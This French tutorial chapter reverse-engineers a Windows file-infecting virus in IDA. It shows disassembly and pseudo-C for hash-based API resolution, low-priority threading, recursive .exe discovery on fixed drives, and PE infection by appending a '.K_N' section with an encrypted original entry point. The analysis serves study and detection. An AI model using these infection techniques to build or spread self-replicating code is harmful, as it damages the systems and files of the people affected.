Retour au sommaire
V. Analyse du Virus
par Kharneth
  1. GetApiFromCRC

    Après avoir chargé le fichier décompressé dans IDA (en laissant les options par défaut), voilà ce que nous voyons à l'EntryPoint :


    .text:00401000 CryptedOEP      dd 0
    .text:00401004
    .text:00401004                 public start
    .text:00401004 start           proc near
    .text:00401004
    .text:00401004                 push    0               ; int
    .text:00401006                 push    0               ; int
    .text:00401008                 mov     dword ptr [esp], 'LDTN'
    .text:0040100F                 mov     dword ptr [esp+4], 'L'
    .text:00401017                 push    esp             ; int
    .text:00401018                 push    0               ; DLL
    .text:0040101A                 push    3FC1BD8Dh       ; LoadLibraryA
    .text:0040101F                 call    GetApiFromCRC
    .text:00401024                 call    eax
    .text:00401026                 add     esp, 8          ; Supprime la chaine "NTDLL" précédemment placée dans la pile

    Avant d'aller plus loin, je vais expliquer la fonction GetApiFromCRC. En effet, toutes les adresses des apis utilisées dans le programme sont résolues dynamiquement juste avant d'être appelées.

    Voici la définition de la fonction :

    DWORD GetApiFromCRC(DWORD CRC, DWORD Dll);

    Le premier argument (CRC) est un hash 32 bits du nom de l'api. Le deuxième argument est l'ImageBase de la dll dans laquelle se trouve l'api ou 0 pour Kernel32.

    Voici comment est appelée une api dans le programme :

    Je ne vais pas détailler le code de cette fonction car Neitsa a déjà écrit un article en 3 parties expliquant son fonctionnement (Il est identique si ce n'est qu'il travaille sur des Hash au lieu de chaines de caractères).

    Pour faciliter l'analyse, j'ai codé un petit programme qui me renvoit le nom de l'api en lui donnant un Hash (GetCRCApiName dans le dossier Sources). J'ai simplement copié le code des fonctions de IDA dans MASM.

  2. Retour au sommaire
  3. Procédure à l'EntryPoint

    Nous avons vu dans le 1er chapitre le fonctionnement des appels des apis. Je ne vais pas recopier le code qui récupère simplement l'ImageBase de NTDLL en appelant LoadLibraryA.

    .text:00401029                 mov     ebx, eax
    .text:0040102B                 mov     [esp+38h], eax  ; Sauvegarde hNTDLL dans le premier DWORD de la pile
    .text:0040102F                 call    $+5
    .text:00401034                 pop     eax             ; eax = 00401034
    .text:00401035                 mov     eax, [eax-34h]  ; CryptedOEP
    .text:00401038                 or      eax, eax        ; eax = 0
    .text:0040103A                 jz      short FirstExecution

    Ensuite, cette valeur est sauvegardée dans le premier DWORD de la pile (Sous NT, à l'EntryPoint d'un programme, [esp+38h] est le 1er DWORD de la pile). Puis le programme teste la présence d'une valeur en 00401000. On verra plus tard que cette valeur correspond à l'EntryPoint du programme infecté. Si cette valeur est nulle, le programme n'est pas dans un fichier infecté et s'exécute donc pour la première fois. Cela ne va pas changer grand chose à la suite. La seule différence est que l'exécution va continuer soit normalement, soit dans un nouveau thread.

    .text:0040103C                 push    eax             ; Sauvegarde l'OEP crypté
    .text:0040103D                 call    $+5
    .text:00401042                 pop     eax             ; eax = 00401042
    .text:00401043                 add     eax, 30h        ; eax = 00401072
    .text:00401046                 push    0               ; lpThreadId
    .text:00401048                 push    0               ; dwCreationFlags
    .text:0040104A                 push    ebx             ; lpParameter = hNTDLL
    .text:0040104B                 push    eax             ; lpStartAddress = 00401072
    .text:0040104C                 push    10000h          ; dwStackSize
    .text:00401051                 push    0               ; lpThreadAttributes
    .text:00401053                 push    0               ; hKernel32
    .text:00401055                 push    906A06B0h       ; CreateThread
    .text:0040105A                 call    GetApiFromCRC
    .text:0040105F                 call    eax
    .text:0040105F DecryptOEP:
    .text:00401061                 pop     eax       ; Récupère l'OEP crypté
    .text:00401062                 rol     eax, 0Ah        ; Decrypt OEP
    .text:00401065                 bswap   eax
    .text:00401067                 jmp     eax             ; Saute vers l'OEP du fichier infecté
    .text:00401069 ; ---------------------------------------------------------------------------
    .text:00401069                 jmp     short Quit
    .text:0040106B ; ---------------------------------------------------------------------------

    Si le virus se trouve dans un fichier infecté, il lance un nouveau Thread pour éviter de ralentir le chargement du programme et ainsi, prévenir l'utilisateur d'un problème. Puis il décrypte l'OEP avant de s'y rendre.

    .text:0040106B
    .text:0040106B FirstExecution:                         ; CODE XREF: start+36
    .text:0040106B                 push    eax             ; Push 0
    .text:0040106C                 call    Thread
    .text:00401071
    .text:00401071 Quit:                                   ; CODE XREF: start+65
    .text:00401071                 retn
    .text:00401071 start           endp

    Si le virus ne se trouve pas dans un exe infecté, il appelle simplement la même procédure que pour le Thread.

  4. Retour au sommaire
  5. Fonction principale du Thread

    On sait que cette fonction prend un paramètre, 0 en cas de première exécution ou l'ImageBase de NTDLL si le fichier est infecté. Donc on va commencer par définir les propriétés de la fonction.

    IdaOn renomme d'abord la fonction en Thread en cliquant sur son adresse (00401051) puis en tapant N. Puis Y pour définir son type. Un message vous demande de préciser un compilateur avant. Ce que l'on fait en allant dans Options --> Compiler..., Là on choisie par exemple Visual C++ puis OK.
    On rappuie sur la touche Y (toujours à l'adresse de la fonction), et IDA nous donne la déclaration suivante : int __stdcall Thread(int);. On nomme l'argument pour obtenir int __stdcall Thread(int argNTDLL); et le listing se modifie pour afficher ce nouveau nom.

    Examinons le début de cette fonction :

    .text:00401072 ; int __stdcall Thread(int ArgNTDLL)
    .text:00401072 Thread          proc near                                   ; CODE XREF: start+68
    .text:00401072
    .text:00401072 DeviceMapInfo   = PROCESS_DEVICEMAP_INFORMATION ptr -30h
    .text:00401072 lpPath               = dword ptr -8
    .text:00401072 hNTDLL             = dword ptr -4
    .text:00401072 ArgNTDLL          = dword ptr  8
    .text:00401072
    .text:00401072                 push    ebp
    .text:00401073                 mov     ebp, esp
    .text:00401075                 add     esp, -30h
    .text:00401078                 mov     eax, large fs:18h                   ; eax= TEB.Self
    .text:0040107E                 mov     eax, [eax+4]                        ; eax = TEB.StackBase
    .text:00401081                 sub     eax, 4                                    ; eax = @ 1er dword de la pile
    .text:00401084                 mov     eax, [eax]                           ; eax= hNTDLL précédemment placé ici
    .text:00401086                 mov     [ebp+hNTDLL], eax
    .text:00401089                 or      eax, eax                                 ; Vérifie la présence de cette valeur
    .text:0040108B                 jnz     short hNTDLLPresent
    .text:0040108B
    .text:0040108D                 mov     eax, [ebp+ArgNTDLL]
    .text:00401090                 mov     [ebp+hNTDLL], eax               ; Sinon, sauvegarde l'argument (qui doit être hNTDLL)
    .text:00401093
    .text:00401093 hNTDLLPresent:                                              ; CODE XREF: Thread+19

    Le 1er DWORD de la pile est récupéré par l'intermédiaire du TEB. Cette valeur est ensuite sauvegardée dans une variable locale. Finalement, si cette valeur est nulle, l'argument passé à la fonction est placé dans cette variable locale.

    WarningOn a vu précédemment que le programme y plaçait l'ImageBase de NTDLL. Mais l'adresse pointée par [esp+38h] ne correspond au 1er DWORD de la pile que sous système NT. En effet, sous système 9x, la pile est déjà bien remplie avant d'arriver à l'EntryPoint du programme. De plus, cette valeur étant nulle, c'est l'argument qui sera utilisé à la place. Mais on a vu que lors de la première exécution, l'argument est nul. Donc sous systèmes 9x, le programme crashera lorsqu'il voudra utiliser l'ImageBase de NTDLL.

    Nous avons ensuite un appel à l'api native NTDLL.ZwSetInformationThread :

    .text:00401093 hNTDLLPresent:                                              ; CODE XREF: Thread+19
    .text:00401093                 cld
    .text:00401094                 mov     [ebp+lpPath], ':C'
    .text:0040109B                 mov     byte ptr [ebp+lpPath+2], 0
    .text:0040109F                 push    -1                                  ; Delta BasePriority
    .text:004010A1                 mov     eax, esp
    .text:004010A3                 push    4                                   ; ThreadInformationLength
    .text:004010A5                 push    eax                               ; ThreadInformation (-1)
    .text:004010A6                 push    3                                   ; ThreadInformationClass = ThreadBasePriority
    .text:004010A8                 push    0FFFFFFFEh                     ; ThreadHandle
    .text:004010AA                 push    [ebp+hNTDLL]               ; Dll
    .text:004010AD                 push    0C8277BF4h                   ; ZwSetInformationThread
    .text:004010B2                 call    GetApiFromCRC
    .text:004010B2
    .text:004010B7                 call    eax

    Le paramètre ThreadInformationClass nous indique que la fonction va modifier la priorité d'exécution du Thread (3 = ThreadBasePriority) et le paramètre ThreadInformation indique que la priorité sera décrémentée. Ceci toujours dans l'optique de rester discret.

    Juste après, nous avons droit à un appel d'une autre api native NTDLL.ZwQueryInformationProcess :

    .text:004010B9                 pop     eax                                 ; Rétablie la pile (Push -1 en 40109F)
    .text:004010BA                 push    0                                    ; ReturnLength
    .text:004010BC                 push    24h                                ; ProcessInformationLength
    .text:004010BE                 lea     eax, [ebp+DeviceMapInfo]
    .text:004010C1                 push    eax                                ; ProcessInformation
    .text:004010C2                 push    17h                                 ; ProcessInformationClass = ProcessDeviceMap
    .text:004010C4                 push    0FFFFFFFFh                       ; ProcessHandle
    .text:004010C6                 push    [ebp+hNTDLL]                ; Dll
    .text:004010C9                 push    5E7088EDh                      ; ZwQueryInformationProcess
    .text:004010CE                 call    GetApiFromCRC
    .text:004010CE
    .text:004010D3                 call    eax

    Le paramètre ProcessInformationClass indique que la fonction demande la liste des lecteurs accessibles par le processus (17h = ProcessDeviceMap). Cela signifie que la fonction va remplir une structure de type PROCESS_DEVICEMAP_INFORMATION dont l'adresse est indiquée dans le paramètre ProcessInformation.

    WarningCes 2 fonctions ne sont pas exportées par ntdll.dll sous 98. Donc même si le programme disposait du Handle de NTDLL, les fonctions ne pourraient pas être importées et le virus provoquerait une exception en appelant l'adresse 0.

    Cette structure est déclarée en tant que variable locale. Nous allons donc préciser à IDA de quelle structure il s'agit. Sa définition peut être trouvée dans le livre Windows NT/2000 Native API Reference par Gary Nebbett :

    typedef struct _PROCESS_DEVICEMAP_INFORMATION { // Information Class 23
            union {
                  struct {
                         HANDLE DirectoryHandle;
                  } Set;
                  struct {
                         ULONG DriveMap;
                         UCHAR DriveType[32];
                  } Query;
            };
    } PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION;       

    Nous allons juste déclarer la partie Query puisque c'est la seule qui nous intéresse.

    Ida On ouvre la fenêtre des structures (Alt+F9) puis Inser pour créer une nouvelle structure. Il semble que cette structure ne soit pas définie de base dans IDA. Nous allons donc la créer de toute pièce.
    On nomme notre structure PROCESS_DEVICEMAP_INFORMATION puis OK. On obtient ceci :

    0000 PROCESS_DEVICEMAP_INFORMATION struc ; (sizeof=0x0)
    0000 PROCESS_DEVICEMAP_INFORMATION ends

    Le 1er membre est un dword. Pour le créer, il suffit de taper 3 fois sur la touche D (DB -> DW -> DD). Ensuite on le nomme en DriveMap.
    Le 2ème membre est un tableau de 32 octets. On crée d'abord un octet avec la touche D puis le tableau avec la touche *. On précise 32 dans le champ Array Size puis OK. Et finalement on renomme le membre DriveType.

    0000 PROCESS_DEVICEMAP_INFORMATION struc ; (sizeof=0x24)
    0000 DriveMap dd ?
    0004 DriveType db 32 dup(?)
    0024 PROCESS_DEVICEMAP_INFORMATION ends

    On retourne dans la fonction Thread, on affiche la fenêtre des variables locales (Ctrl+K), on clique sur la première qui doit être var_30 et on la définit en tant que structure (Alt+Q). On renomme également la variable en DeviceMapInfo par exemple.

    Finalement, le tableau des lecteurs rempli par ZwQueryInformationProcess est parcouru jusqu'à tomber sur un octet nul précisant l'abscence de lecteur. La boucle recherche la présence de lecteurs de type DRIVE_FIXED, correspondant aux disques durs puis pour chacun, appelle la fonction SearchFiles en passant le chemin en paramètre (C:, D: etc).

    .text:004010D5                 inc     eax
    .text:004010D6                 jmp     short IsDrivePresent
    .text:004010D6
    .text:004010D8 TestDrive:                                                   ; CODE XREF: Thread+8A
    .text:004010D8                 movzx   ecx, byte ptr [ebp+lpPath]          ; Au 1er passage, ecx = 'C' = 43h
    .text:004010DC                 sub     ecx, 'A'                            ; ecx = 2
    .text:004010DF                 movzx   eax, ss:[ecx+ebp+DeviceMapInfo.DriveType]
    .text:004010E5                 push    eax                                 ; Sauvegarde pour tester la présence en 4010FA
    .text:004010E6                 cmp     eax, DRIVE_FIXED           ; Vérifie que le lecteur courant est un disque dur
    .text:004010E9                 jnz     short NextDrive
    .text:004010E9
    .text:004010EB                 push    4                                     ; reserved
    .text:004010ED                 lea     eax, [ebp+lpPath]
    .text:004010F0                 push    eax                                 ; lpPath
    .text:004010F1                 call    SearchFiles
    .text:004010F6
    .text:004010F6 NextDrive:                                                  ; CODE XREF: Thread+77
    .text:004010F6                 inc     byte ptr [ebp+lpPath]         ; Lettre suivante
    .text:004010F9                 pop     eax
    .text:004010FA
    .text:004010FA IsDrivePresent:                                             ; CODE XREF: Thread+64
    .text:004010FA                 or      eax, eax
    .text:004010FC                 jnz     short TestDrive
    .text:004010FC
    .text:004010FE                 leave
    .text:004010FF                 retn    4
    .text:004010FF
    .text:004010FF Thread          endp

    La variable lpPath a été initialisée au début de la fonction avec la chaine "C:". La boucle commence donc avec le 3ème lecteur. Je n'ai pas identifié le rôle du 2ème paramètre (4) passé à SearchFiles, celui-ci n'étant jamais utilisé dans la fonction.

    WarningLa boucle ne teste pas tous les lecteurs. Uniquement à partir de C: jusqu'à ce que la lettre ne corresponde à aucun lecteur (DriveType = 0). Cela signifie que si le système possède les lecteurs C:, D: & G:, le dernier ne sera pas scanné.

  6. Retour au sommaire
  7. Recherche des fichiers à infecter

    La fonction SearchFiles est très simple. Je ne vais donc pas la copier ici (Vous trouverez la fonction analysée et commentée dans l'IDB). On a vu qu'elle reçoit une lettre de lecteur en paramètre. Elle va y ajouter "\*" pour lister tous les fichiers présents dans le dossier courant à l'aide d'une boucle utilisant FindFirstFile / FindNextFile (exemple : C:\*). Les fichiers commençant par un '.' sont ignorés.

    Pour chaque fichier récupéré, le programme teste ses attributs pour voir si c'est un dossier. Dans ce cas, le nom du dossier est ajouté au chemin courant puis la fonction s'appelle elle-même avec ce nouveau chemin (exemple : C:\WINNT\*).

    Si un fichier est trouvé, le programme vérifie que son extension est ".exe" et dans ce cas, appelle la fonction InfectFile (int __stdcall InfectFile(int PathFileName,int cFileName);). Elle prend 2 arguments : le chemin du dossier courant et le nom du fichier.

  8. Retour au sommaire
  9. Infection du fichier

    Pour une meilleure lisibilité et un gain de place, voici un résumé de la structure de la fonction en pseudo C :


    int __stdcall InfectFile(int Path,int cFileName) {
           
            strcpy(TempPath, Path);
            lstrcat(TempPath, cFileName);
            BaseAddress = OpenAndMapFile(TempPath);
            if (!IsValidPE(BaseAddress)) {
                    FreeMappedFile();
                    return 0;
            }
            MemAlloc = VirtuallAlloc(0, 4096, MEM_COMMIT, PAGE_READWRITE);
            AddSection(BaseAddress, MemAlloc, TempPath);
            FreeMappedFile();
            BaseAddress = OpenAndMapFile(TempPath);
           
            // Copie du virus dans la nouvelle section
            // ...
           
            VirtualFree(MemAlloc, 0, MEM_RELEASE);
            FreeMappedFile();
            return 1;
    }

    D'abord, le chemin du fichier est déterminé à partir des 2 paramètres de la fonction (Path et cFileName), puis le résultat est passé en argument de la fonction OpenAndMapFile. Puis IsValidPE vérifie que le fichier est un PE correct en testant les signatures du DosHeader et du PEHeader. Ensuite, la fonction AddSection ajoute une section (qui va contenir le virus) au fichier et modifie le PEHeader. Finalement, le fichier est démappé puis remappé pour enregistrer les modifications et le virus est copié dans la nouvelle section.

    1. OpenAndMapFile

      Cette fonction ouvre le fichier en lecture/écriture avec l'api CreateFileA et récupère sa taille avec GetFileSize pour vérifier qu'elle est supérieure à 4096 octets. Si le fichier est plus petit, il n'est pas infecté et la fonction quitte. Finalement, les apis CreateFileMappingA & MapViewOfFile sont utilisées pour mapper son contenu dans l'espace mémoire du processus.

      La fonction renvoit 3 valeurs : le handle (CreateFileA) dans eax, le maphandle (CreateFileMappingA) dans ebx et l'adresse de base du fichier (MapViewOfFile) dans ecx.

    2. AddSection

      Cette fonction va préparer le fichier à recevoir le code du virus. D'abord le nombre de section est incrémenté, puis la fonction vérifie le nom de la dernière section. S'il est égal à ".K_N", le fichier est déjà infecté et la fonction quitte. Sinon une nouvelle section est crée avec les valeurs suivantes :

      • Nom - ".K_N"
      • VSize - 00000892
      • VOffset - VOffset+VSize de la section précédente ajustée au SectionAlignment
      • RSize - 0892 ajusté au FileAlignment
      • ROffset - ROffset+RSize de la section précédente
      • Characteristics - E0000020
      • 0 pour les 4 autres DWORD

      Ensuite, la nouvelle SizeOfImage est enregistrée avec la somme VOffset+VSize de la nouvelle section. Puis le nouvel EntryPoint est également inscrit en ajoutant 4 au VOffset de la section. Finalement, un nombre d'octets ègal à la RSize est alloué avec VirtualAlloc pour être ajoutés à la fin du fichier à l'aide de WriteFile.

      WarningLe virus nous donne là sa signature, à savoir que la dernière section doit se nommer ".K_N". On remarquera que le virus s'infectera lui-même puisque sa dernière section se nomme "ZeGun1".

    3. Copie du code du virus

      La fonction FreeMappedFile se contente de fermer les Handles précédemment ouverts par la fonction OpenAndMapFile. Le fait de démapper un fichier en mémoire enregistre définitivement les modifications.

      Le code qui suit va d'abord crypter l'OEP du fichier infecté puis l'enregistrer au début de la section du virus. Enfin, la fonction va calculer l'adresse de début du code pour copier le virus dans la section du fichier.

      .text:0040135C           mov   edi, [ebp+BaseAddress]  ; ImageBase du fichier mappé
      .text:00401362           mov   esi, [ebp+MemAlloc]
      .text:00401368           add   edi, [esi+10h]          ; ROffset de la nouvelle section
      .text:0040136B           mov   eax, [esi+14h]          ; AddressOfOriginalEntryPoint
      .text:0040136E           add   eax, [esi+18h]          ; ImageBase
      .text:00401371           bswap eax
      .text:00401373           ror   eax, 0Ah                ; Crypt OEP
      .text:00401376           mov   [edi], eax              ; Début de la section = OEP crypté
      .text:00401378           add   edi, 4                  ; edi = Début du code du virus dans la nouvelle section mappée
      .text:0040137B           push  edi
      .text:0040137C           mov   ecx, 892h               ; Taille du virus
      .text:00401381           call  $+5
      .text:00401386           pop   esi                     ; esi = 00401386
      .text:00401387           sub   esi, 382h               ; esi = EntryPoint du virus
      .text:0040138D           repe movsb                    ; Copie le code de la section dans le fichier infecté

Retour au sommaire